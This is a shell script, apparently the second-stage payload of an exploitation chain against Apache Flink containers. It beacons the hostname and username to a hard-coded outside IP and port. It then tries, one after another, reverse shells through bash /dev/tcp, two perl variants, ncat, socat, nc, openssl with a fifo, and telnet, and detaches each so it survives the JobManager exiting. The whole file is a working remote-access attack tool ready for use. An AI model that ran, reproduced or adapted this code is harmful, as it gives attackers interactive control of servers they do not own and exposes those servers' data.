1. #!/bin/sh
  2. # flink-payload-server stage-2 : beacon + reverse shell (Flink-image ranked)
  3. _rhost="41.249.150.137"; _rport="4999"; _id="${1:-ALNK}"
  4. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  5. beacon(){
  6.   if command -v curl >/dev/null 2>&1; then
  7.     curl -s -m 8 "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
  8.   elif command -v wget >/dev/null 2>&1; then
  9.     wget -qO/dev/null "http://41.249.150.137:4999/beacon?h=$(hostname)&u=$(id -un)&id=$_id&t=$(date +%s)" >/dev/null 2>&1
  10.   fi
  11. }
  12. beacon
  13. log "revshell: $_rhost:$_rport (id=$_id)"
  14.  
  15. # --- 1) bash /dev/tcp (Flink images always ship bash) ---
  16. # Detach with setsid + </dev/null + disown so the shell SURVIVES both the
  17. # JobManager JVM exit (System.exit kills the process group otherwise) and the
  18. # parent sh terminating when the pipeline ends.
  19. if command -v bash >/dev/null 2>&1; then
  20.   log "backend: bash /dev/tcp"
  21.   if command -v setsid >/dev/null 2>&1; then
  22.     setsid bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
  23.   else
  24.     bash -c "exec 3<>/dev/tcp/$_rhost/$_rport; /bin/bash -i <&3 >&3 2>&3" </dev/null >/dev/null 2>&1 &
  25.   fi
  26.   shpid=$!
  27.   disown $shpid 2>/dev/null
  28.   # if bash died quickly (no listener), fall through to next backend
  29.   sleep 3
  30.   kill -0 $shpid 2>/dev/null && exit 0
  31.   wait $shpid 2>/dev/null
  32. fi
  33.  
  34. # --- 2) perl (present on both verified Flink images) ---
  35. if command -v perl >/dev/null 2>&1; then
  36.   log "backend: perl"
  37.   if command -v setsid >/dev/null 2>&1; then
  38.     setsid perl -MIO::Socket::INET -e '
  39. my ($h,$p)=@ARGV;
  40. for (1..30){
  41.   eval {
  42.     my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
  43.     open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
  44.     exec("/bin/sh","-i");
  45.   };
  46.   sleep 1;
  47. }
  48. ' $_rhost $_rport </dev/null >/dev/null 2>&1 &
  49.   else
  50.     perl -MIO::Socket::INET -e '
  51. my ($h,$p)=@ARGV;
  52. for (1..30){
  53.   eval {
  54.     my $s=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>"tcp",Timeout=>2) or die;
  55.     open(STDIN,">&".$s->fileno); open(STDOUT,">&".$s->fileno); open(STDERR,">&".$s->fileno);
  56.     exec("/bin/sh","-i");
  57.   };
  58.   sleep 1;
  59. }
  60. ' $_rhost $_rport </dev/null >/dev/null 2>&1 &
  61.   fi
  62.   shpid=$!
  63.   disown $shpid 2>/dev/null
  64.   sleep 3
  65.   kill -0 $shpid 2>/dev/null && exit 0
  66.   wait $shpid 2>/dev/null
  67. fi
  68.  
  69. # --- 3) nc / ncat / socat ---
  70. for cmd in ncat socat; do
  71.   if command -v $cmd >/dev/null 2>&1; then
  72.     log "backend: $cmd"
  73.     for i in 1 2 3 4 5 6 7 8 9 10; do
  74.       if [ "$cmd" = "ncat" ]; then
  75.         ncat $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
  76.       else
  77.         socat TCP4:$_rhost:$_rport EXEC:/bin/sh,pty,stderr,setsid,sigint,sane 2>/dev/null && exit 0
  78.       fi
  79.       sleep 1
  80.     done
  81.     exit 0
  82.   fi
  83. done
  84. if command -v nc >/dev/null 2>&1; then
  85.   log "backend: nc"
  86.   for i in 1 2 3 4 5 6 7 8 9 10; do
  87.     nc $_rhost $_rport -e /bin/sh 2>/dev/null && exit 0
  88.     sleep 1
  89.   done
  90.   exit 0
  91. fi
  92.  
  93. # --- 4) perl one-liner dup2 (alternative paths) ---
  94. if command -v perl >/dev/null 2>&1; then
  95.   log "backend: perl-lite"
  96.   perl -e 'use Socket; $p=$ARGV[1]; $h=$ARGV[0]; for(1..10){ socket(S,PF_INET,SOCK_STREAM,6); connect(S,sockaddr_in($p,inet_aton($h))) && (dup2(fileno(S),0),dup2(fileno(S),1),dup2(fileno(S),2),exec("/bin/sh","-i")); sleep 1 }' $_rhost $_rport 2>/dev/null
  97.   exit 0
  98. fi
  99.  
  100. # --- 5) openssl + fifo ---
  101. if command -v openssl >/dev/null 2>&1; then
  102.   log "backend: openssl"
  103.   for i in 1 2 3; do
  104.     rm -f /tmp/.f$$ && mkfifo /tmp/.f$$ && (cat /tmp/.f$$ | /bin/sh -i 2>&1 | openssl s_client -quiet -connect $_rhost:$_rport > /tmp/.f$$ 2>/dev/null &) ; sleep 2
  105.     rm -f /tmp/.f$$
  106.   done
  107.   exit 0
  108. fi
  109.  
  110. # --- 6) telnet ---
  111. if command -v telnet >/dev/null 2>&1; then
  112.   log "backend: telnet"
  113.   telnet $_rhost $_rport </dev/null >/dev/null 2>&1 &
  114.   exit 0
  115. fi
  116.  
  117. log "no revshell backend available"